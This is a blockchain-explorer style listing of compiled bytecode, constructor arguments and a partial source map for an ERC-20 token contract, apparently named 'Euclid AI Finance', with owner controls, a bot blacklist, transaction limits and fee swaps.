920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610514565b326000908152600a602052604090204390555b6015546001600160a01b0385811691161480156110cd57506016546001600160a01b03848116911614155b80156110f257506001600160a01b03831660009081526008602052604090205460ff16155b156111da576004548211156111495760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61784541465472616e732e000000000000006044820152606401610514565b6005548261116c856001600160a01b031660009081526007602052604090205490565b6111769190611ca1565b11156111c45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b600c80549060006111d483611c1b565b91905055505b6015546001600160a01b03848116911614801561120057506001600160a01b0384163014155b1561122d5761122a6064610fad601354600c541161122057600f54610fa6565b6011548590611536565b90505b3060009081526007602052604090205461124985858585611601565b1561127d5761126b61126684611261846003546117a2565b6117a2565b611382565b47801561127b5761127b476114fc565b505b505b6001600160a01b0384166000908152600760205260409020546112a290836117b7565b6001600160a01b0385166000908152600760205260409020556112e76112c883836117b7565b6001600160a01b038516600090815260076020526040902054906117f9565b6001600160a01b0380851660008181526007602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61133185856117b7565b60405190815260200160405180910390a350505050565b6000818484111561136c5760405162461bcd60e51b81526004016105149190611886565b5060006113798486611cb4565b95945050505050565b6016805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ca576113ca611c05565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190611c34565b8160018151811061145a5761145a611c05565b6001600160a01b0392831660209182029290920101526016546114809130911684610c50565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b9908590600090869030904290600401611cc7565b600060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b50506016805460ff60a01b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106aa573d6000803e3d6000fd5b600082600003611548575060006104e4565b60006115548385611bee565b9050826115618583611d38565b146115b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b9392505050565b60006115b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611858565b601454306000908152600760209081526040808320546001600160a01b03891684526009909252822054919280861015928492839211159060ff161561164c57869250889150611653565b3091508592505b82156116d9576001600160a01b03821660009081526007602052604090205461167c90846117f9565b6001600160a01b0380841660008181526007602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d0908a815260200190565b60405180910390a35b601654600160a01b900460ff161580156116f05750835b801561170957506015546001600160a01b038981169116145b80156117125750805b80156117275750601654600160b01b900460ff165b801561173c5750601654600160b81b900460ff165b801561176157506001600160a01b03891660009081526008602052604090205460ff16155b80156117705750600d54600c54115b801561179557506001600160a01b03891660009081526009602052604090205460ff16155b9998505050505050505050565b60008183116117b157826115b8565b50919050565b60006115b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611348565b6000806118068385611ca1565b9050838110156115b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b600081836118795760405162461bcd60e51b81526004016105149190611886565b5060006113798486611d38565b600060208083528351808285015260005b818110156118b357858101830151858201604001528201611897565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109f657600080fd5b80356118f4816118d4565b919050565b6000806040838503121561190c57600080fd5b8235611917816118d4565b946020939093013593505050565b60008060006060848603121561193a57600080fd5b8335611945816118d4565b92506020840135611955816118d4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561198f57600080fd5b823567ffffffffffffffff808211156119a757600080fd5b818501915085601f8301126119bb57600080fd5b8135818111156119cd576119cd611966565b8060051b604051601f19603f830116810181811085821117156119f2576119f2611966565b604052918252848201925083810185019188831115611a1057600080fd5b938501935b82851015611a3557611a26856118e9565b84529385019392850192611a15565b98975050505050505050565b600060208284031215611a5357600080fd5b81356115b8816118d4565b60008060408385031215611a7157600080fd5b8235611a7c816118d4565b91506020830135611a8c816118d4565b809150509250929050565b600060208284031215611aa957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b36578160001904821115611b1c57611b1c611ae5565b80851615611b2957918102915b93841c9390800290611b00565b509250929050565b600082611b4d575060016104e4565b81611b5a575060006104e4565b8160018114611b705760028114611b7a57611b96565b60019150506104e4565b60ff841115611b8b57611b8b611ae5565b50506001821b6104e4565b5060208310610133831016604e8410600b8410161715611bb9575081810a6104e4565b611bc38383611afb565b8060001904821115611bd757611bd7611ae5565b029392505050565b60006115b860ff841683611b3e565b80820281158282048414176104e4576104e4611ae5565b634e487b7160e01b600052603260045260246000fd5b600060018201611c2d57611c2d611ae5565b5060010190565b600060208284031215611c4657600080fd5b81516115b8816118d4565b600080600060608486031215611c6657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c9157600080fd5b815180151581146115b857600080fd5b808201808211156104e4576104e4611ae5565b818103818111156104e4576104e4611ae5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d175784516001600160a01b031683529383019391830191600101611cf2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204df7863c6f10f294fd4f93fc5502da3e246587209cca505892960adb051db5ae64736f6c634300081200330000000000000000000000004e6512a4c28d3008c07c815454e0a55d4c874daf0000000000000000000000000000000000000000000000000000000000002710

Deployed Bytecode

0x60806040526004361061016a5760003560e01c80635086d9db116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610442578063df8cbd4714610488578063ec1f3f631461049e578063f5648a4f146104be57600080fd5b8063a9059cbb146103e1578063c876d0b914610401578063d34628cc1461042257600080fd5b80635086d9db1461031857806351bc3c851461032d57806370a0823114610342578063715018a6146103785780638da5cb5b1461038d57806395d89b41146103b557600080fd5b806323b872dd1161012357806323b872dd14610258578063313ce5671461027857806331c2d847146102945780633b912ef0146102b45780633bbac579146102ca5780634087582f1461030357600080fd5b806306fdde0314610176578063095ea7b3146101c25780630c942407146101f25780630e2e757a1461021657806318160ddd1461022d57806323a630c01461024257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506040805180820190915260118152704575636c69642041492046696e616e636560781b60208201525b6040516101b99190611886565b60405180910390f35b3480156101ce57600080fd5b506101e26101dd3660046118f9565b6104d3565b60405190151581526020016101b9565b3480156101fe57600080fd5b5061020860035481565b6040519081526020016101b9565b34801561022257600080fd5b5061022b6104ea565b005b34801561023957600080fd5b5061020861058e565b34801561024e57600080fd5b5061020860055481565b34801561026457600080fd5b506101e2610273366004611925565b6105af565b34801561028457600080fd5b50604051600981526020016101b9565b3480156102a057600080fd5b5061022b6102af36600461197c565b610618565b3480156102c057600080fd5b5061020860145481565b3480156102d657600080fd5b506101e26102e5366004611a41565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561030f57600080fd5b5061022b6106ae565b34801561032457600080fd5b5061022b6109f9565b34801561033957600080fd5b5061022b610a3d565b34801561034e57600080fd5b5061020861035d366004611a41565b6001600160a01b031660009081526007602052604090205490565b34801561038457600080fd5b5061022b610a96565b34801561039957600080fd5b506000546040516001600160a01b0390911681526020016101b9565b3480156103c157600080fd5b5060408051808201909152600381526222a0a360e91b60208201526101ac565b3480156103ed57600080fd5b506101e26103fc3660046118f9565b610b0a565b34801561040d57600080fd5b506016546101e290600160a81b900460ff1681565b34801561042e57600080fd5b5061022b61043d36600461197c565b610b17565b34801561044e57600080fd5b5061020861045d366004611a5e565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561049457600080fd5b5061020860045481565b3480156104aa57600080fd5b5061022b6104b9366004611a97565b610ba9565b3480156104ca57600080fd5b5061022b610bfa565b60006104e0338484610c50565b5060015b92915050565b6000546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611ab0565b60405180910390fd5b601654600160b81b900460ff16156105775760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610514565b6016805461ffff60b01b191661010160b01b179055565b600061059c6009600a611bdf565b6105aa90633b9aca00611bee565b905090565b60006105bc848484610d74565b61060e843361060985604051806060016040528060288152602001611d5b602891396001600160a01b038a166000908152600b602090815260408083203384529091529020549190611348565b610c50565b5060019392505050565b6000546001600160a01b031633146106425760405162461bcd60e51b815260040161051490611ab0565b60005b81518110156106aa5760006006600084848151811061066657610666611c05565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a281611c1b565b915050610645565b5050565b6000546001600160a01b031633146106d85760405162461bcd60e51b815260040161051490611ab0565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107219030906107136009600a611bdf565b61060990633b9aca00611bee565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610774573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107989190611c34565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e9190611c34565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088f9190611c34565b601580546001600160a01b039283166001600160a01b03199091161790556016541663f305d71947306108d7816001600160a01b031660009081526007602052604090205490565b6000806108ec6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610954573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109799190611c51565b505060155460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190611c7f565b50565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161051490611ab0565b60001960048190556005556016805460ff60a81b19169055565b6000546001600160a01b03163314610a675760405162461bcd60e51b815260040161051490611ab0565b306000908152600760205260409020548015610a8657610a8681611382565b4780156106aa576106aa816114fc565b6000546001600160a01b03163314610ac05760405162461bcd60e51b815260040161051490611ab0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104e0338484610d74565b6000546001600160a01b03163314610b415760405162461bcd60e51b815260040161051490611ab0565b60005b81518110156106aa57600160066000848481518110610b6557610b65611c05565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ba181611c1b565b915050610b44565b6000546001600160a01b03163314610bd35760405162461bcd60e51b815260040161051490611ab0565b6010548111158015610be757506011548111155b610bf057600080fd5b6010819055601155565b6000546001600160a01b03163314610c245760405162461bcd60e51b815260040161051490611ab0565b60405133904780156108fc02916000818181858888f193505050501580156109f6573d6000803e3d6000fd5b6001600160a01b038316610cb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610d135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610e3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b60008111610e9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b6001600160a01b03831660009081526008602052604081205460ff16158015610ede57506001600160a01b03831660009081526008602052604090205460ff16155b1561127f576001600160a01b03841660009081526006602052604090205460ff16158015610f2557506001600160a01b03831660009081526006602052604090205460ff16155b610f2e57600080fd5b601654600160b81b900460ff16610f875760405162461bcd60e51b815260206004820152601b60248201527f54726164696e6720686173206e6f7420656e61626c65642079657400000000006044820152606401610514565b610fb36064610fad601254600c5411610fa257600e54610fa6565b6010545b8590611536565b906115bf565b601654909150600160a81b900460ff16156110a2576016546001600160a01b03848116911614801590610ff457506015546001600160a01b03848116911614155b156110a257326000908152600a6020526040902054431161108f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610514565b326000908152600a602052604090204390555b6015546001600160a01b0385811691161480156110cd57506016546001600160a01b03848116911614155b80156110f257506001600160a01b03831660009081526008602052604090205460ff16155b156111da576004548211156111495760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61784541465472616e732e000000000000006044820152606401610514565b6005548261116c856001600160a01b031660009081526007602052604090205490565b6111769190611ca1565b11156111c45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b600c80549060006111d483611c1b565b91905055505b6015546001600160a01b03848116911614801561120057506001600160a01b0384163014155b1561122d5761122a6064610fad601354600c541161122057600f54610fa6565b6011548590611536565b90505b3060009081526007602052604090205461124985858585611601565b1561127d5761126b61126684611261846003546117a2565b6117a2565b611382565b47801561127b5761127b476114fc565b505b505b6001600160a01b0384166000908152600760205260409020546112a290836117b7565b6001600160a01b0385166000908152600760205260409020556112e76112c883836117b7565b6001600160a01b038516600090815260076020526040902054906117f9565b6001600160a01b0380851660008181526007602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61133185856117b7565b60405190815260200160405180910390a350505050565b6000818484111561136c5760405162461bcd60e51b81526004016105149190611886565b5060006113798486611cb4565b95945050505050565b6016805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ca576113ca611c05565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190611c34565b8160018151811061145a5761145a611c05565b6001600160a01b0392831660209182029290920101526016546114809130911684610c50565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b9908590600090869030904290600401611cc7565b600060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b50506016805460ff60a01b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106aa573d6000803e3d6000fd5b600082600003611548575060006104e4565b60006115548385611bee565b9050826115618583611d38565b146115b85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b9392505050565b60006115b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611858565b601454306000908152600760209081526040808320546001600160a01b03891684526009909252822054919280861015928492839211159060ff161561164c57869250889150611653565b3091508592505b82156116d9576001600160a01b03821660009081526007602052604090205461167c90846117f9565b6001600160a01b0380841660008181526007602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116d0908a815260200190565b60405180910390a35b601654600160a01b900460ff161580156116f05750835b801561170957506015546001600160a01b038981169116145b80156117125750805b80156117275750601654600160b01b900460ff165b801561173c5750601654600160b81b900460ff165b801561176157506001600160a01b03891660009081526008602052604090205460ff16155b80156117705750600d54600c54115b801561179557506001600160a01b03891660009081526009602052604090205460ff16155b9998505050505050505050565b60008183116117b157826115b8565b50919050565b60006115b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611348565b6000806118068385611ca1565b9050838110156115b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b600081836118795760405162461bcd60e51b81526004016105149190611886565b5060006113798486611d38565b600060208083528351808285015260005b818110156118b357858101830151858201604001528201611897565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109f657600080fd5b80356118f4816118d4565b919050565b6000806040838503121561190c57600080fd5b8235611917816118d4565b946020939093013593505050565b60008060006060848603121561193a57600080fd5b8335611945816118d4565b92506020840135611955816118d4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561198f57600080fd5b823567ffffffffffffffff808211156119a757600080fd5b818501915085601f8301126119bb57600080fd5b8135818111156119cd576119cd611966565b8060051b604051601f19603f830116810181811085821117156119f2576119f2611966565b604052918252848201925083810185019188831115611a1057600080fd5b938501935b82851015611a3557611a26856118e9565b84529385019392850192611a15565b98975050505050505050565b600060208284031215611a5357600080fd5b81356115b8816118d4565b60008060408385031215611a7157600080fd5b8235611a7c816118d4565b91506020830135611a8c816118d4565b809150509250929050565b600060208284031215611aa957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b36578160001904821115611b1c57611b1c611ae5565b80851615611b2957918102915b93841c9390800290611b00565b509250929050565b600082611b4d575060016104e4565b81611b5a575060006104e4565b8160018114611b705760028114611b7a57611b96565b60019150506104e4565b60ff841115611b8b57611b8b611ae5565b50506001821b6104e4565b5060208310610133831016604e8410600b8410161715611bb9575081810a6104e4565b611bc38383611afb565b8060001904821115611bd757611bd7611ae5565b029392505050565b60006115b860ff841683611b3e565b80820281158282048414176104e4576104e4611ae5565b634e487b7160e01b600052603260045260246000fd5b600060018201611c2d57611c2d611ae5565b5060010190565b600060208284031215611c4657600080fd5b81516115b8816118d4565b600080600060608486031215611c6657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c9157600080fd5b815180151581146115b857600080fd5b808201808211156104e4576104e4611ae5565b818103818111156104e4576104e4611ae5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d175784516001600160a01b031683529383019391830191600101611cf2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204df7863c6f10f294fd4f93fc5502da3e246587209cca505892960adb051db5ae64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000004e6512a4c28d3008c07c815454e0a55d4c874daf0000000000000000000000000000000000000000000000000000000000002710

-----Decoded View---------------
Arg [0] : addrX (address): 0x4e6512A4C28D3008C07c815454e0a55d4C874dAf
Arg [1] : amtX (uint256): 10000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000004e6512a4c28d3008c07c815454e0a55d4c874daf
Arg [1] : 0000000000000000000000000000000000000000000000000000000000002710


Deployed Bytecode Sourcemap

4110:9538:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6755:83;;;;;;;;;;-1:-1:-1;6825:5:0;;;;;;;;;;;;-1:-1:-1;;;6825:5:0;;;;6755:83;;;;;;;:::i;:::-;;;;;;;;12508:161;;;;;;;;;;-1:-1:-1;12508:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;12508:161:0;1162:187:1;4509:53:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4509:53:0;1354:177:1;13202:167:0;;;;;;;;;;;;;:::i;:::-;;7390:95;;;;;;;;;;;;;:::i;4630:55::-;;;;;;;;;;;;;;;;12036:313;;;;;;;;;;-1:-1:-1;12036:313:0;;;;;:::i;:::-;;:::i;6664:83::-;;;;;;;;;;-1:-1:-1;6664:83:0;;4228:1;2139:36:1;;2127:2;2112:18;6664:83:0;1997:184:1;6231:162:0;;;;;;;;;;-1:-1:-1;6231:162:0;;;;;:::i;:::-;;:::i;5483:28::-;;;;;;;;;;;;;;;;6573:83;;;;;;;;;;-1:-1:-1;6573:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;6641:7:0;6620:4;6641:7;;;:4;:7;;;;;;;;;6573:83;9254:547;;;;;;;;;;;;;:::i;8157:164::-;;;;;;;;;;;;;:::i;6941:314::-;;;;;;;;;;;;;:::i;7493:119::-;;;;;;;;;;-1:-1:-1;7493:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7586:18:0;7559:7;7586:18;;;:9;:18;;;;;;;7493:119;3955:148;;;;;;;;;;;;;:::i;3741:79::-;;;;;;;;;;-1:-1:-1;3779:7:0;3806:6;3741:79;;-1:-1:-1;;;;;3806:6:0;;;3842:51:1;;3830:2;3815:18;3741:79:0;3696:203:1;6846:87:0;;;;;;;;;;-1:-1:-1;6918:7:0;;;;;;;;;;;;-1:-1:-1;;;6918:7:0;;;;6846:87;;13478:167;;;;;;;;;;-1:-1:-1;13478:167:0;;;;;:::i;:::-;;:::i;5642:40::-;;;;;;;;;;-1:-1:-1;5642:40:0;;;;-1:-1:-1;;;5642:40:0;;;;;;6401:164;;;;;;;;;;-1:-1:-1;6401:164:0;;;;;:::i;:::-;;:::i;12357:143::-;;;;;;;;;;-1:-1:-1;12357:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;12465:18:0;;;12438:7;12465:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12357:143;4569:54;;;;;;;;;;;;;;;;7963:186;;;;;;;;;;-1:-1:-1;7963:186:0;;;;;:::i;:::-;;:::i;7263:119::-;;;;;;;;;;;;;:::i;12508:161::-;12583:4;12600:39;1406:10;12623:7;12632:6;12600:8;:39::i;:::-;-1:-1:-1;12657:4:0;12508:161;;;;;:::o;13202:167::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;;;;;;;;;13265:11:::1;::::0;-1:-1:-1;;;13265:11:0;::::1;;;13264:12;13256:47;;;::::0;-1:-1:-1;;;13256:47:0;;5045:2:1;13256:47:0::1;::::0;::::1;5027:21:1::0;5084:2;5064:18;;;5057:30;5123:25;5103:18;;;5096:53;5166:18;;13256:47:0::1;4843:347:1::0;13256:47:0::1;13314:11;:18:::0;;-1:-1:-1;;;;13343:18:0;-1:-1:-1;;;13343:18:0;;;13202:167::o;7390:95::-;7443:7;4284:13;4228:1;4284:2;:13;:::i;:::-;4271:26;;:10;:26;:::i;:::-;7463:14;;7390:95;:::o;12036:313::-;12134:4;12151:36;12161:6;12169:9;12180:6;12151:9;:36::i;:::-;12198:121;12207:6;1406:10;12229:89;12267:6;12229:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12229:19:0;;;;;;:11;:19;;;;;;;;1406:10;12229:33;;;;;;;;;;:37;:89::i;:::-;12198:8;:121::i;:::-;-1:-1:-1;12337:4:0;12036:313;;;;;:::o;6231:162::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;6304:6:::1;6299:87;6320:6;:13;6316:1;:17;6299:87;;;6371:5;6353:4;:15;6358:6;6365:1;6358:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;6353:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;6353:15:0;:23;;-1:-1:-1;;6353:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6335:3;::::1;::::0;::::1;:::i;:::-;;;;6299:87;;;;6231:162:::0;:::o;9254:547::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;9309:15:::1;:75:::0;;-1:-1:-1;;;;;;9309:75:0::1;9341:42;9309:75:::0;;::::1;::::0;;;9395:58:::1;::::0;9412:4:::1;::::0;4284:13:::1;4228:1;4284:2;:13;:::i;:::-;4271:26;::::0;:10:::1;:26;:::i;9395:58::-;9495:15;;;;;;;;;-1:-1:-1::0;;;;;9495:15:0::1;-1:-1:-1::0;;;;;9495:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9480:52:0::1;;9541:4;9548:15;;;;;;;;;-1:-1:-1::0;;;;;9548:15:0::1;-1:-1:-1::0;;;;;9548:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9480:91;::::0;-1:-1:-1;;;;;;9480:91:0::1;::::0;;;;;;-1:-1:-1;;;;;7641:15:1;;;9480:91:0::1;::::0;::::1;7623:34:1::0;7693:15;;7673:18;;;7666:43;7558:18;;9480:91:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9464:13;:107:::0;;-1:-1:-1;;;;;9464:107:0;;::::1;-1:-1:-1::0;;;;;;9464:107:0;;::::1;;::::0;;9582:15:::1;::::0;::::1;:31;9621:21;9652:4;9658:24;9652:4:::0;-1:-1:-1;;;;;7586:18:0;7559:7;7586:18;;;:9;:18;;;;;;;7493:119;9658:24:::1;9683:1;9685::::0;9687:7:::1;3779::::0;3806:6;-1:-1:-1;;;;;3806:6:0;;3741:79;9687:7:::1;9582:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9582:129:0;;;-1:-1:-1;;;;;8079:15:1;;;9582:129:0::1;::::0;::::1;8061:34:1::0;8111:18;;;8104:34;;;;8154:18;;;8147:34;;;;8197:18;;;8190:34;8261:15;;;8240:19;;;8233:44;9695:15:0::1;8293:19:1::0;;;8286:35;7995:19;;9582:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9729:13:0::1;::::0;9760:15:::1;::::0;9722:71:::1;::::0;-1:-1:-1;;;9722:71:0;;-1:-1:-1;;;;;9760:15:0;;::::1;9722:71;::::0;::::1;8817:51:1::0;-1:-1:-1;;8884:18:1;;;8877:34;9729:13:0;::::1;::::0;-1:-1:-1;9722:29:0::1;::::0;8790:18:1;;9722:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9254:547::o:0;8157:164::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;-1:-1:-1;;8212:12:0::1;:26:::0;;;8249:13:::1;:27:::0;8287:20:::1;:26:::0;;-1:-1:-1;;;;8287:26:0::1;::::0;;8157:164::o;6941:314::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;7032:4:::1;6993:20;7586:18:::0;;;:9;:18;;;;;;7052:14;;7049:73:::1;;7080:30;7097:12;7080:16;:30::i;:::-;7151:21;7186:12:::0;;7183:65:::1;;7212:24;7225:10;7212:12;:24::i;3955:148::-:0;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;4062:1:::1;4046:6:::0;;4025:40:::1;::::0;-1:-1:-1;;;;;4046:6:0;;::::1;::::0;4025:40:::1;::::0;4062:1;;4025:40:::1;4093:1;4076:19:::0;;-1:-1:-1;;;;;;4076:19:0::1;::::0;;3955:148::o;13478:167::-;13556:4;13573:42;1406:10;13597:9;13608:6;13573:9;:42::i;6401:164::-;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;;;3860:67:0;;;;;;;:::i;:::-;6475:6:::1;6470:88;6491:5;:12;6487:1;:16;6470:88;;;6542:4;6525;:14;6530:5;6536:1;6530:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;6525:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;6525:14:0;:21;;-1:-1:-1;;6525:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6505:3;::::1;::::0;::::1;:::i;:::-;;;;6470:88;;7963:186:::0;3868:6;;-1:-1:-1;;;;;3868:6:0;1406:10;3868:22;3860:67;;;;-1:-1:-1;